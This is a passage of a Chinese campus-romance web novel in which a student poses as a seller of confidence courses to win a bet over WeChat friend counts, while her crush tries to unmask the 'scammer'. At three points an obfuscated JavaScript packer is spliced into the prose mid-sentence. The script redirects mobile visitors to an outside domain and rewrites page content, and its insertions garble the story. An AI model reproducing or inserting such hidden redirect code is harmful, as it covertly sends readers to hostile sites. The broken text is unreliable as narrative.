她同时收到了五个男生的消息，有含蓄的也有露骨的，全在脑子里嗡嗡，就算闭上眼也能看到。 “你到底怎么得罪的徐活？” 让他想出这么歹毒的赌约。 “小事，”宋清杳心虚，“我把他拉黑了。” 小学的时候，安诗、宋清杳、徐活是三个关系很好的小朋友。但升初中的那一年，徐活突然出国，就只剩下宋清杳和安诗一起玩。当时安诗没有手机，只有宋清杳加了徐活的联系方式。 后来拉黑他只是因为双方吵了个小架，宋清杳自认有错，那纯属年少轻狂，中二时期的叛逆。 宋清杳以为他不会再回来，就算回来也不会碰见。但前几天竟然在学校表白墙瞧见了他的照片——有人发帖问这位开豪车的富二代是谁。 黑历史回来华丽复仇的即视感。 安诗：“啊？” 安诗：“哦，那怪不得，他反应有点奇怪。” 当时追尾之后，安诗正在为赔偿的事情焦头烂额，忽然瞧见那辆被撞的豪车降下了玻璃。一只手捏着细细的香烟伸出窗外，指尖轻扣，火星飘落，烟雾袅袅上升。 安诗不太自信地叫了声： “徐活？” 那人歪了歪头，面向她：“安小诗，我改姓了，现在叫时活。” 大街上不方便说话，时活约她到咖啡店商量赔偿的事。咖啡店里没多少人，环境私密又安静，正适合协商赔偿款。 安诗试探着地开启话题，得到的回应却阴阳怪气，怎么听怎么不舒服。 她略显尴尬地提了一嘴：“没想到你还记得我，宋清杳要是知道了应该也会很高兴吧。” 对方直接怒了：“记得谁？就你们？你和宋清杳？呵，怎么可能！我微信好友三千多，每天花天酒地潇洒得很，早把你们忘了！谁还记得小学时候遇到的两个傻货！” 安诗还没反应过来，又听见对方的冷笑： “哈哈，倒是你和宋清杳，小时候跟鹌鹑一样，根本不敢和别人说话。除了好心的我之外还有谁和你们玩！现在过得怎么样，肯定没有朋友吧？” 于是有了比一个学期后谁的微信好友数更多的赌约，赢了就不用赔钱。时活大发善心，同意宋清杳和安诗一起参与，要一个赢两个。 安诗当时答应，并不是因为她没感受到对方话语中的趾高气昂和优越感，也不是她没有自尊心。而是因为时活随手在咖啡店点了一份套餐，149元，是安诗掏的钱。 她的手机屏幕就一直亮着那条短信：您的账户…交易后余额32.22【中国银行】 宋清杳紧紧抱住自己的自信秘籍，决心要帮安诗挣回这两万块。 但这样下去不行。加微信并不难，问题在于她们缺少一个合理的加微信理由，随随便便就加了，以至于有些异性以为这是暧昧（聊骚）的开始。 在遭遇了狂轰滥炸之后，宋清杳也是刚发现这个问题。 她需要一个借口，或者说是一个既可以加到微信，又不会被骚扰的身份。 安诗忽然提出：“微商？” 如果是微商，就能在网上加到更多微信，不用一个个去要了。更重要的是，不露脸，把性别改成男，就不会被骚扰。 这个主意像模像样，换个思路想，就算不是微商，只要是卖点什么东西就行。最大的问题是： “那我们卖点什么？” 宋清杳提问的时候，手边刚好有一本小册子，《成功女人必备的自信学秘籍》。 她双眼放光，灵感一瞬间迸发！ 另一栋宿舍。窗台上，吊兰枝叶正在向远处的夜空延伸，月亮映照在洁白的瓷盆上，也照着黑夜中一张若有所思的人脸。 姜宇有失眠的毛病，从小就有，经常晚上一个人站在窗边吹风。 手机一直亮着消息界面。 【你已添加了忧天的小杞，现在可以开始聊天了。】 对方的头像是一只橘猫的丑照，朋友圈三天可见，空空荡荡，什么都看不出来。 然后是他发的， 【却下层楼：你好，我是姜宇。】 对方没有回复。 姜宇现在心情不大好，一口嚼碎了五颗薄荷糖，才终于缓和一些。 想到今天许升平找他帮忙的事，他退出微信，开始冷着脸翻企鹅群聊。 抓骗子…… 叮咚一声，一条消息映入眼帘。 【枸杞大师：大师级自信课程！你还是不敢搭话吗？上台演讲双腿发抖吗？注定错过那份爱情吗？点我，收获震撼级视听课程，包教包会（心）】 他点开对话框。 ……抓到了。 黑暗中，姜宇敲出第一条消息， 【无冬春：课程免费吗？】 马上收到回复。 【枸杞大师：微偿，加我微信把课程资料发你哦~】 【无冬春：不加微信，就在企鹅发吧。】 【枸杞大师：不可以哦亲亲，这边只支持微信交易哦。】 姜宇偏头勾唇，饶有兴趣地笑了笑。非要加微信，果然是骗子。 他稍稍改变了一下话术。 【无冬春：大师！我真的非常需要这份课程，但是稍微有点怀疑。】 【无冬春：大师，请问你们这边正规吗，不会骗我吧？】 …… 今天有大物课，宋清杳顶着两个大黑眼圈起床，去食堂吃了一张有气无力的煎饼，连蛋都没加，死活提不起精神。 大橘学长又来蹭她的腿，宋清杳敷衍地摸了两下，学长不满意，喵喵地边骂边走。 宋清杳试图挽留，但是她困啊！她没睡好啊！ 倒不是因为爱情，而是她昨晚遇到了一个难缠的人。 她化身卖课的在各个群聊打广告，试图加到微信好友，结果还真遇到一个客户。 对方看起来非常急迫想要买课，但是左打听右打听，就是不加微信！ 每次宋清杳烦了，想干脆不理他的时候，对方那种急切的语气就跟过来。 【无冬春：大师！我真的需要，帮帮我吧大师。】 宋清杳恨不得发语音喊：那你倒是加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016799|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微信啊！ 每当快要聊好的时候，对方又开始犹豫。 【无冬春：但是大师，你是做什么工作的？靠谱吗？】 宋清杳实在忍不了，给他发： 【枸杞大师：我们就是在校园群认识的，你问我做什么工作？？？】 【枸杞大师：我总不会是教授吧！】 【枸杞大师：我总不会是学校里那只猪一样的橘猫吧！】 然后绝望地放下手机睡觉。当时是凌晨三点半，她实在熬不住了。 导致今天早上眼睛睁不开。 但课还得上，就算不为了姜宇，也得为那位天天点名的灭霸老帅哥，为了她珍贵的学分绩点。 她背着包，还没走到教学楼，就在路上看见个人影。宋清杳一下子精神起来。 花坛旁边杵着的大傻个，怎么瞅怎么眼熟。 那大傻个像是专门在等她，三两步跑到她面前：“清杳。” 是之前告白把草皮烧着的周叔瑜。 宋清杳想起安诗说过的话。 周叔瑜跟姜宇有仇，要是听到那些说姜宇在追她的传言，肯定会来找她。 果然来了。 宋清杳看了看时间，现在距离上课还有十分钟，她坐到旁边的花坛边，听周叔瑜把话讲完。 于是，周叔瑜义愤填膺地开始叙述自己和姜宇的恩怨，从他的助教名额被抢开始。 据他所说，虽然学校没有明文规定，但助教名额一般都会优先给贫困生。而当今年的名单出来的时候，周叔瑜惊讶地发现其中没有自己，却多了一个本不该出现的富家子弟。 他说的这个富家子弟就是姜宇。 其实宋清杳听到这里已经不耐烦了，因为据她所知，姜宇并不是什么有钱人。正相反，根据宋清杳多年偷偷观察的经验来说，姜宇父母双亡，家里只有生病的外婆和吝啬的舅舅，从小就一个人养活自己，简直是个小可怜。 但周叔瑜说，姜宇的力量很可怕，不仅抢了他的名额，还在学校内部有人脉，他的每一次揭发都被对方轻飘飘解决。 更可怕的是，姜宇听说他家庭困难之后，主动为他介绍了一个大实验室。周叔瑜一开始感激得很，可当他进去之后才发现，实验室师兄都已经被姜宇买通了，导致他每天干脏活累活不说，还要遭受师兄们的白眼。 “你知道我去找姜宇对峙，他对我说了什么了？” “他竟然问我最近过得还好吗！他X的就是在暗示我那些脏事都是他干的！他X的双面人！” 这算什么暗示？明明就是友好问候。宋清杳听着不太对劲，这个故事逻辑有问题。 哪怕姜宇真的是一个不择手段的富二代，那他针对周叔瑜的目的是什么？就算是报复，也总得有个开端才对。 当她问起这个的时候，周叔瑜却支支吾吾不肯多说，只是劝她：“清杳，那种有钱人实在太可怕了，他真的特别会装。你一定要远离他，千万不能招惹啊！” “我闲的没事干惹他干嘛？” 宋清杳皱着眉，语气有些不耐烦。她喜欢还来不及呢。 马上快要上课了，她没时间和周叔瑜继续交谈，便不再搭理这个人，调整好心情走进教学楼。 看了眼时间，发现企鹅上又收到两条消息。 【无冬春：你不是D大的吧。】 【无冬春：假冒名校生？我就在D大，怎么从来没见过你？】 她算看出来了，这人纯属找事。 宋清杳没有耐心再和这孙子絮叨，她无语一笑，直接骂： 【枸杞大师：你才是假的吧？话都听不懂，这智商基本告别高考了。】 随后关掉手机，走进教室。网络对战不是她的强项，但骂了就跑也不至于输。 推开门。今天姜宇会坐哪个座位呢？ 6. 他的奶茶来了 大物课教室总是十分拥挤，起码在点名之前是这样。 宋清杳给自己旁边占了位置，静候今天姜宇会以什么样的形式兑现奶茶。 上课铃响，老师走了进来。 时老师的样貌依旧靓丽，不过他今天是一个人进的教室。一个人拎电脑，一个人连上投影，然后一个人说开始上课。 身边少了个干活的助教。 宋清杳身边的位置始终空着。 她盯了一会儿手环上的时间，现在上课五分钟三十七秒了，姜宇还没到。是睡迟了吗？ 还是出了什么事？不会不来了吧…… 她等得有些困。 周围的同学也窃窃私语，问那个很帅的助教怎么没来。 又等了五分钟，宋清杳观察了教室的门许久，依然没有谁推门而入。 可能是看出了大家的疑惑，时老师特地解释：“今天助教有早会，不来上课。” 宋清杳顿感无聊。 她趴到桌上起不来，眼皮沉沉的。原本就困，现在又加上了难过。 他居然食言了。 不过姜宇好像是2+2的本硕连读，突然被导师找去开会也是难免的嘛，他应该也预料不到。 毕竟他昨天答应她说不会食言，当时的样子不像骗人，所以肯定不是故意的。而且那只是一杯奶茶而已，并不重要，肯定比不上开会。 宋清杳只遗憾了一小会儿，就开始关心接下来的事： 要不要给他发个微信问问？ 她这时候才打开微信，从纷纷扰扰的小红点中找到那个名字，却下层楼。 对话框旁边红红的，她发现自己好像漏掉了什么。 【却下层楼：你好，我是姜宇。】 宋清杳一下子清醒了。 消息时间是昨晚睡前，她正在经历骚扰轰炸的时候。而这条可怜的消息已经在这里放置了一个晚上，没有人搭理。 糟糕，昨天忙着和人吵架，把心动男嘉宾给忘了！ 一句打招呼而已，她竟然到现在都没有回复，未免有些过分。 但她一时间想不出怎么回。是打招呼的同时再解释一下说自己昨晚睡得太早没看见？ 还只若无其事地发一句：你好，我是宋清杳。装作什么时间差都没有的样子？ 前者显得过于在意，后者则有点不太礼貌，打招呼都要隔夜，怪尴尬的。 错过了那个时机，似乎发什么都不太合适。 宋清杳最终留下了空白对话框，什么字都没有打。 她想不出方法，但恰巧有人撞在了她的怒火上。 点开企鹅，屏幕上是那孙子新发来的消息。 【无冬春：急了？被我说中了吧。装什么名校生，实际上初中没毕业就出来骗人了吧。】 宋清杳的目光在“无冬春”这三个字上停留许久。 这人的网名分不清是男是女，刚开始看到的时候还总让人想起某位可爱的小老太太。 “蕙兰琼芳积烟露，碧窗松月无冬春” 无冬春是个好名字，但是这孙子实在是找抽，肯定和孙婆婆没关系！ 她呼出一口气，先退出聊天框，维护了一下卖课的生意，抽空加上另外两个打招呼的人的微信，把自信秘籍附带的免费影像链接给他们，顺便奉上鼓励和些许心理咨询。 最后回到对战界面。 宋清杳尽量平和地发送了一个字。 另一边，姜宇看了眼窗外，没心思听台上的人喋喋不休。他打开微信，某个人依然没有回复，也不知道是忘了还是故意的。 略显烦躁地上滑，换了个界面，他想看看那骗子上钩没有。果然收到一条消息，他点开。 【枸杞大师：典。】 …… 扑面而来的嘲讽糊了姜宇一脸，网络经典语录虽然常见，但好用。 他笑。 【无冬春：还装？这么自卑还卖什么自信课啊？只敢在网上跳脚，实际上偷偷给女神当舔狗都不敢打招呼吧。】 舔狗？ 宋清杳现在正处于敏感时期，尤其是今天姜宇没来上课，让她满心的期待都落空了，有种不为人知的羞耻感。 尽管她没舔，但她不允许别人侮辱舔狗这种勇敢的爱情方式！ 她开始上网搜：如何骂人。 她让ds给她写了几篇三百字的骂人小作文，但挑来挑去都不满意，攻击力太弱了。 然后加上要求重新搜：要更难听的。 ds思索了很久，这回思索出的东西是真骂人，但坏就坏在攻击力太强，刚发出来就被它自己屏蔽了。 宋清杳翻了个白眼，人工智能的短板原来在这里。 消息经过长时间的修改，迟迟发不出去。 姜宇正在收拾资料，把文件夹装进包里的时候瞥了眼手机。对方一直没有回复，估计是破防了。 如果他没猜错的话，对面应该是一个其貌不扬的普通男生，说不定还有些臃肿，心理自卑，有暗恋的人都不敢搭话。 他准备抓住这一点，把人逼急了之后就线下约架，亲眼看看骗子是谁。 而对面这位其貌不扬的普通男生，宋清杳，刚结束了自己学习骂人的历程。 她准备了五个三百字骂人语录，不带一个脏字，一股脑地全给无冬春发过去。 缓缓吐出一口气，她舒服了一点。 但也没觉得开心。 其实网上怎么对线都没什么，输赢无所谓，那都是虚的。 可今天没喝到姜宇的奶茶，就算骂赢了也会失望。 姜宇是个骗子，宋清杳撇撇嘴，心里有点小埋怨。 时老师讲课让人昏昏欲睡。就在宋清杳的眼睛快要阖上的时候，她听见教室后门吱呀的一下。 然后是越来越大的起哄声，从后向前传来。 “哟——” “开的什么会啊，还有奶茶喝——” 下课铃在同一时间响起，时老师笑眯眯地说下课，但哄笑声许久才散去。 转身，视线透过乌泱乌泱收拾东西站起来的人群，宋清杳才看到一个逆着人流的人，似乎护着什么东西，正艰难地往她这边走来。 汗水在姜宇额头上晶晶亮，脸和脖子通红，T恤都湿了，应该是跑着来的。他手里提了两杯奶茶，递过来一杯。 “我怕赶不及，就先买了。”姜宇眼眉弯弯，出现在宋清杳面前，似乎在高兴自己赶上了末班车，“杨枝甘露，你喝吗？” 奶茶一点都没洒，冰都没有化，姜宇人就站在那里，浑身冒着热气。全都是新鲜的，真挚的，暖融融的。 宋清杳马上准备接，但又面露难色：“我……芒果过敏。” 他马上左右手换了换，再次递过来：“那你喝这杯吧，芒果容易让人过敏，我还买了草莓大福，可以吗？” 宋清杳心里扑通一声。 原本以为姜宇不会来的，可他不仅来了，还考虑到她有可能芒果过敏。 她现在酸酸甜甜的，比奶茶口感还要丰富。 下课回宿舍，宋清杳捧着自己的奶茶，和姜宇一起走在林荫路上。 “你不是有早会吗，我以为你不来了。”她耳朵烧得慌，小心地往他那边偷看。 姜宇和她维持一个不远不近的距离，偏头看她的鞋尖：“答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016800|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应别人的事，我不会食言的。” 风穿过两人中间，带起的裙边擦过姜宇的手，他好像被烫了一下，僵硬地收回。 树叶落在他们脚边，两个人走在影子中间，都晒到了一点点太阳。树荫逐渐变窄，两个人也就越靠越近。 宋清杳一闻到他身上甜甜的薄荷味，目光就有些飘。 现在距离宿舍还有很远，她拉回理智，想要尽量找个话题，但找不到。 “对了，”她尽量不突兀地开口，“学校的橘猫很可爱。” “橘猫？我朋友也养了一只猫，不过是黑色的。”他接话。 气氛尬住，宋清杳尴尬得有点脸红。 怎么选了这么一个话题，大橘学长和姜宇根本没有任何交集，让人怎么接话？快，说点你想说的，说点有意思的，散发你的幽默！ “对了，你是不是在生我的气。”姜宇的声音轻松悠闲，很符合树下漫步的环境。 宋清杳还没想出幽默段子，猛然听到这句话，抬头：“为什么？” 树叶的影子落在他脸上，忽明忽暗，那张骨相优越的脸就让人眼前一亮又一亮。每当阳光模糊起来，宋清杳的心就随之一震。 “因为那些传言……”姜宇顿住，重新回忆了一下，“因为我今天早上没有去上课？” “没有啊。” 宋清杳只是小小埋怨了一下，小小一下而已。 当她看到姜宇大汗淋漓地赶过来的时候，就决定当做自己从来没有生气过。 姜宇眼神迟疑：“那我昨晚给你发的微信……” 原来是这件事，宋清杳脑门快要出汗了。 这件事……说来复杂。要是说自己因为到处加微信所以没有回复他的话，真的有点奇怪。会不会被人以为是疯子？宋清杳至今没有想到怎么解释。 她企图淡淡地一笔带过：“你发了吗？我晚上睡得早，没看见。” 拙劣的借口。姜宇眼眸暗了暗：“那现在呢？” 宋清杳看着他的眼睛，从中读出一丝不确定的暗示： 现在没有睡觉了，可以回我的微信了吧。 这种当面催回复的事，虽然强硬，但减少了那种别扭的、揣测性的尴尬。双方坦坦荡荡地聊，直接要求一个回复，早回早安心。 她拿不准是不是这个意思，但见对方没有质疑自己，宋清杳迅速抓住机会借坡下驴，当着他的面敲下回复。 然后深吸一口气，心终于落了地。 哒哒地打字声之后，姜宇的手机收到一条消息。 【却下层楼：你好，我是姜宇。】 【忧天的小杞：你好，姜宇学长。】 他略显无奈，好笑地放下手机屏幕，就看到宋清杳逃过一劫之后，很快便扬起的得意神色。 “学长，你是想要我的名字吗？这不公平，我可是从来没问过你的名字，就知道你叫姜宇了。”她双手捧着奶茶，昂着头，十分神气的样子。 像某种住在树洞里的小动物，正在炫耀自己的大松果。 没有人问过她的名字，就算在八卦里，她也只是“这一届最漂亮的新生”、“被烧草皮告白的那女孩”、“灭霸课上和姜宇传绯闻的女生”。 姜宇肯定也不知道。这不公平，他也得主动找到她的名字才行。 宋清杳笑眯眯地注视他，以为对方会害羞愧疚。 可姜宇摇了摇头，拿起手机开始打字。 她听见姜宇低缓的声音，像一阵风吹皱了湖水：“你有一个很好听的名字。” 同时，手机收到一条新的微信，来自与她面对面的人。 【却下层楼：你好，宋清杳。】 7. 他一定要抓到 宋清杳眼睛微微睁圆。他居然知道？ 她的名字并不大众，很多人光听字音会把她错写成宋轻咬、宋清瑶、宋青遥…… 但姜宇打出的名字是对的，每个字都正确，显然他不只是点名时或者八卦时无意听到这么简单。是翻了她的资料吗？在大物课，还是献血的时候？ 心脏在耳边咚咚跳动。 他似乎比她想象中更关心她。这个结论出于她的直觉，并没有多少证据。 宋清杳认为自己有点膨胀了，居然在臆想这个才见过几面的暗恋对象喜欢自己。可现在，她想不出其它任何答案。 今天的蝉鸣比前几天更加热烈，宿舍楼下小情侣的数量多了一倍，全都抱在一起，难舍难分。 姜宇陪她走到楼前。 临走时，宋清杳踏上台阶，三两步却又退回来。 又是零帧开口，她仔仔细细看着姜宇的眼睛：“听说你在追我？” 姜宇被宋清杳不要的奶茶呛了一口。 他难以应对这种事，宋清杳知道。她早就听孙婆婆说过了，姜宇就是个老实人。 调戏老实人就是这么简单，就是这么爽啊！ 等了一会儿，姜宇终于艰难地开口：“这个传言是不是……” …给你带来困扰了。 宋清杳笑得更开心了：“没关系，姜宇学长。” “喜欢我才是正常的，不喜欢我的人就得自己想想办法了。”她挑眉。 这种话多说几遍，已经类似于洗脑的程度。尤其是对于姜宇这种“老实人”来说，绝对会印象深刻。 好几对小情侣朝他们这边看过来，目光饱含深意。 姜宇干脆宕机，在宿舍楼前成为一块石头，一动不动。 “下次课见～” 得逞的笑声轻快又富有感染力，宋清杳边摇头边飞快地溜进宿舍楼，蹦蹦跳跳的脚步声从楼梯上传来。 姜宇亲眼看着她的身影消失在楼梯拐角处，静静回想了一会儿，然后才暗自偏头，唇边挂着说不出的情绪。 楼下的小情侣们看他离开，也尽是一些说不出的眼神。 回到宿舍，许升平推开门，就见到了一个很奇怪的姜宇。 宿舍是黑的，只亮了一盏小小的台灯，把他的影子拉长在墙壁上。姜宇指尖轻点在桌面，身旁放了一杯冰水，目光透过白纸，似乎投向了更远的地方。 许升平一愣，脚步不自觉放轻。 他和姜宇同宿舍，还志趣相投。他们和几个学长合伙搞了个创业项目，平时走动很近，有什么事互相都知道。 据他看来，姜宇这个人根本没有空余时间，平时不是在开会、比赛、上课、打工，就是在到处拓展人脉、拉投资。任谁经历这样高强度工作都坚持不下来一学期，但姜宇从没喊过累。 就算偶尔有空闲，姜宇也要用这一点宝贵的时间回石城看看家人，没有休息过。 而今天，姜宇居然什么都没干，只是开了台灯，坐在桌前发呆。脸上还隐隐带着笑意？ 画面怎么看怎么诡异。 许升平开了灯，打了个寒颤：“大哥，你不会又要搞谁吧？” 姜宇似乎才刚刚清醒过来，整理了一下神态，收敛笑容：“找我什么事。” 许升平磨磨蹭蹭把一份资料递过去：“你先检查一下，这份资料够用吗？” 这是他们创业团队拉投资用的，纸质版商业计划书。原本早就写好了，但前两天有团队成员想到了新的创意，拿去改了改。 姜宇打开了电脑，开始线上批改作业，这是助教的工作。 他接过资料，只看了封面就放在一边：“你确认过就好，这不重要。” 许升平轻笑一声，显然知道他在说什么。 有许升平在，团队并不很缺钱，有姜宇在，他们也不怎么缺结识投资者的机会。 但许升平还是忍不住，贱兮兮地凑上去：“那什么最重要？是我们姜大少爷英俊的外貌，出色的口才，尊贵的身份？” 姜宇放下鼠标，把对方攀在自己肩膀上的手拂开：“别开玩笑，我算什么身份。” 但另外两点倒是没否认。 许升平顺势拉了把椅子坐过来，一副要促膝长谈的样子：“你什么身份，我还不知道吗。哎，刚巧，我今天看见你弟弟了。” 姜宇动作一顿，听到什么脏东西似的，眉头皱起。 许升平继续八卦：“这么多年，你难道一点都不好奇？我看见他开着辆法拉利在学校乱窜，单手开车，那技术烂得不行，车屁股都掉漆了，听说前几天刚被追尾。简直幼稚死，偏偏有群粉丝觉得这样很帅，全都围着尖叫……” “他不是我弟弟，”姜宇打断，他敛眉，合上笔记本，剥开两颗薄荷糖放到手边的冰水里，侧目，“以后看到他，不用和我说。” 宿舍里响起清脆的嚼糖声，压下了一颗躁动的八卦之心。 “还有事吗？”姜宇问。 听起来像是要赶客。 许升平撇撇嘴，顿感无趣，他搬着椅子准备离开，但刚起身，还真想起一件：“对了，抓骗子当案例的事，帮我找了没？” 姜宇回忆了一下，刚想起来似的，打开手机。 他点开企鹅聊天框，一股不详的气息扑面而来。某不知名骗子的骂人小作文展现在姜宇眼前。 大概有一千五百字，密密麻麻堆在一个消息框里，给眼睛带来一点小小的震撼。 打眼一看还以为是谁把毕业论文发来了。偏偏消息框每行的字数不能调节，使劲划半天都划不到底。 再仔细读，这篇骂人小作文似乎专门找人润色过，一千五百字没有多余的内容，字字句句都辛辣抽象，文采斐然，绝对不是随便骂人这么简单。 一看就知道出自名校生的手笔。 姜宇：…… 还真是D大的。 他忽然有点牙疼，甚至想夸夸这骗子的文笔。 不过，看样子对方是彻底破防了。终于到了引蛇出洞的时候，姜宇面无表情地敲下几个字。 【无冬春：只敢网上狂吠，敢线下碰一碰吗？】 宋清杳和安诗蜷缩在楼道，划着手机一个一个地对账。 “课程是公众号发的免费资料，只要有人加微信就把正版公众号推给他们，可以说是零成本，白赚一个微信。” 安诗分析。 如果要超过徐活，那一学期起码要加到三千个微信。现在离期末还有135天，她们有两个人，也就是说每人每天的kpi至少是12个。 而到现在为止，她们的广告发在群里，只获得了五位顾客。再加上一开始要到的二十八个微信，现在的进度是33/3000。 安诗的神情在计算中逐渐变得憔悴，任务着实艰巨。 宋清杳瞧了她一眼：“这才只是刚开始，已经很不错了。学校群里受众太少，明天再找几个校外群，肯定能好起来。” “没关系的，”安诗勉强挤出一个笑容，“我最近认识了一个学姐，专门在朋友圈发兼职信息，那边来钱比较快。我多打几份工，也许也能凑出两万。” 几乎没有这种可能。 宋清杳知道，安诗连学费都没有凑齐，生活费都要从指甲缝里抠出来。哪里还能再凑出两万？ 宋清杳回到自己床上，忧心忡忡地翻了个身。她得改进一下卖课策略，多加点好友才行。 屏幕亮起，又是死活不加微信的那孙子。 【无冬春：只敢网上狂吠，敢线下碰一碰吗？】 手机屏幕的光亮向下，照得宋清杳眼角抽搐。这人是不是以为自己傻，对面是人是鬼都分不清，就敢线下约架？ 她也不是什么好惹的，网上口嗨谁不会啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他摇了摇脑袋，苦笑，不可能的，自己肯定是被枸杞大师气疯了才会这样想。 宋清杳几乎没有睡觉，整个晚上都在想怎样才能改进营销策略，获得更大的好友圈。现在天亮了，她感觉自己像一个绝望的销售。 幸好今天没课，白天也能补觉。 她刚闭上眼，就收到一张图片。 照片是从上往下拍的，一只橘猫四脚朝天，正在嚣张地炫耀自己的肥肉。 【却下层楼：你说的那只猫。】 宋清杳挣扎着眯开眼睛，郁闷地发送了一张小猫流汗的表情包。 【忧天的小杞：学长，你是不是以为橘猫都长一个样子！】 【忧天的小杞：我头像是大橘，它不咬人不挠人特别乖。大橘很好认，它小时候被车压过，左前爪少了一半。】 【忧天的小杞：你拍的这只不是大橘，它是学校流浪猫帮派的老大，叫橘霸天，可凶了！你沾上它的气味，大橘这辈子都不会再靠近你啦！】 发完，她手机一扔，陷入深度睡眠。 原来不一样。 姜宇解开领口的扣子，蹲下去仔细比对这只猫和两个人头像的差别。不一会儿，他释然地笑了，还真不是同一只猫。 宋清杳头像是可怜的大橘，骗子的头像才是这只恶霸。 风轻轻吹起他的头发，咔嚓一声，一张橘猫撒娇的照片被拍下。他编辑了几个字，然后才放下手机。 猫在姜宇身前打滚，全方位展示它肥硕的身材。忽然，它被坏坏的人类拎起来指着鼻子威胁：“以后不许欺负大橘，它是有人照着的，听见没有。” 橘霸天瞪圆了眼睛：“喵~” 8. 她不会来了 中午被安诗叫起来吃饭，宋清杳抬起沉重的眼皮，一步一步地跟在朋友后面走，往便利店的方向。 安诗兴高采烈：“抓紧抓紧，五分钟前刚过期的饭团，还有打一折的关东煮，要不是我今天换班都抢不到。” 宋清杳对这种便利店员工福利并不是很感兴趣，有就吃一口，没有就算了。但能听出来，今天安诗又去打工了。 她记得今天安诗有课啊。 买了一瓶冰咖啡，咕咚咕咚灌了一口，宋清杳才活过来，问：“你几点起的？” 答案是凌晨四点。 安诗微微一笑：“我想好了，做两手准备，想办法加微信的同时多打两份工。要是最后赢了他，那就把两万块钱存起来。” 边上学边打工，每天只睡四个小时，简直是钢铁般的女人。 宋清杳抚掌赞叹：“你有这种心态，做什么都会成功的。” “什么心态，我不过就是……”安诗声音变小。 习惯了而已。 关东煮的味道还是很可以的，便宜又好吃。宋清杳端着满满当当一杯打折肉串，面对便利店巨大的玻璃墙，眯着眼睛品尝起来。 隔着玻璃，宋清杳遥遥望见了什么，她放下吃到一半的关东煮，转身去推门。做梦似的，冲某个方向指了指，回头对安诗说： “先等一下，你看那边。” 安诗疑惑地回头，等看见是什么之后就解下围裙，也跟着走出门外。 她定在便利店门口，目光凝固在那个方向，和宋清杳一起，不动了。 两个人的表情都呆呆的，不怎么聪明的样子。 “是他吧？”很多年没见了，宋清杳也难以确定。 安诗嘴角抽搐：“应该……是吧。” 看出来是谁了，但她们都不想认。 这可真是个大场面，除了食堂抢饭之外，宋清杳从没有在D大见过这么多人，这么多活跃的、尖叫的、拥挤的大学生。 她们注视的是校门口到便利店的那条大路。 路边停着一辆鲜艳的红色跑车，标志是一匹马。即使宋清杳不关心这是什么牌子也知道它肯定很贵，因为车的形状不多见，车主人的精神状态也不多见。 不少人都在敞篷车旁边围观，只见驾驶座上的那人一伸手，从旁边拿出一幅未完成的油画。 画布大概一米见方，上面还四四方方画了许多格子，只不过没有涂色。 驾驶座那人嘴皮子都没动，只是抬手打开了一个手提箱，里面是整套颜料。似乎是某种行为艺术，他冲周围勾勾手指，马上冲上来两位热心群众。 他下巴一昂，手指一挥，那俩人马上领会了意思，用手沾了颜料往画布的格子里涂。 刚开始宋清杳还没看懂，直到车旁边的人一个个冲上去，画布被所有人的手印填涂完整，那人才往宋清杳这边转了个方向。 宋清杳现在才看清那幅画，也才看清那个人的脸。 她记得他小时候是圆脸，爱抓着别人的袖子哇哇哭，是个矮豆丁胆小鬼。可现在完全不一样，他的轮廓变得瘦削深邃，配上一头浅色卷发，隐隐能看出一点混血的基因。 除了眉眼间还残留着点小时候的可爱之外，基本和徐活这个名字沾不上边。 “我记得小时候不这样啊，徐活家里这么有钱吗？”宋清杳差点不敢和他对视，只敢悄悄和安诗咬耳朵。 安诗也放低声音：“听说他外公是外国人，在英国的生意突然风生水起，才把他接到国外读书的。” 宋清杳的眼睛直冒绿光，都是上同一个小学的，这小子命怎么这么好。 但还没多感叹几句，他手里那幅画就以正面的姿态，强势地出现在她们眼前。 大大小小的格子已经在众人的努力下涂好颜色，每个人的手印深浅不一，排列似乎存在某种规律，组合在一起构成了一副完整的油画。看上去就像是一个巨大的…… 二维码？ 那人似乎说了一句什么。 豪车周围的同学开始争抢着扫码，热情疯狂，场面一度变得混乱。 有个略显肥胖的男生尖叫着试图挤进车里，却被周围的竞选者给拉出来，最后谁也没挤上去。 …… 宋清杳无语到笑出声。 这小子肯定是为了打赌那件事，纯纯冲她们来的。 “原来是神经病啊，我还以为搞行为艺术的。”宋清杳的牙凉飕飕的。 “其实他也在D大读书，”安诗也尴尬地低着头，“美院。” ……居然真是行为艺术。 虽然他没有站起身，但那宽阔的肩膀依稀可以看出车主人的身材高大。 长到下颌的卷发被他撩到耳后，那人扭着脖子往宋清杳的方向，斜扯出一个怪怪的笑。 他张了张嘴，周围太吵了听不清说什么，但口型依稀是： “宋清杳，安小诗？” 嗡的一声发动机响，围观的人被吓跑。 豪车缓缓启动，直直冲着宋清杳开过来。 一瞬间，宋清杳想起了自己的黑历史，她和徐活的最后一次吵架。 